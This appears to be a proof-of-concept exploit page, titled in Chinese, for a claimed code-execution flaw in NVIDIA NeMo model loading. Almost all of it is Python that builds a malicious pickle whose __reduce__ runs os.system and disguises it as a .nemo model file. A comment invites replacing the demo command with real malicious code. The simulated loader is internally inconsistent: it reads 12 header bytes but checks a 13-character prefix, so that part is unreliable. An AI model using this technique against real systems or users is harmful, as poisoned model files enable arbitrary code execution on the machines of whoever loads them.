NVIDIA NeMo Framework模型加载代码执行漏洞

# CVE-2025-33212 PoC - Malicious NeMo Model File # This PoC demonstrates the model loading vulnerability in NVIDIA NeMo Framework # Usage: Load the generated malicious model file through NeMo Framework import pickle import os def create_malicious_model(): """ Create a malicious pickle-based payload that exploits improper control mechanisms in NeMo model loading. """ # Malicious class that executes code on unpickling class MaliciousModel: def __reduce__(self): # Code execution payload - replace with actual malicious code cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) # Serialize the malicious object malicious_payload = pickle.dumps(MaliciousModel()) # Save as fake NeMo model file with open('malicious_nemo_model.nemo', 'wb') as f: f.write(b'NEMO_MODEL_V1\n') f.write(malicious_payload) print("Malicious model file created: malicious_nemo_model.nemo") def load_vulnerable_model(model_path): """ Simulates vulnerable NeMo model loading DO NOT run this on production systems """ try: with open(model_path, 'rb') as f: header = f.read(12) if header.startswith(b'NEMO_MODEL_V1'): # Vulnerable: Direct unpickling without validation payload = f.read() return pickle.loads(payload) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": create_malicious_model()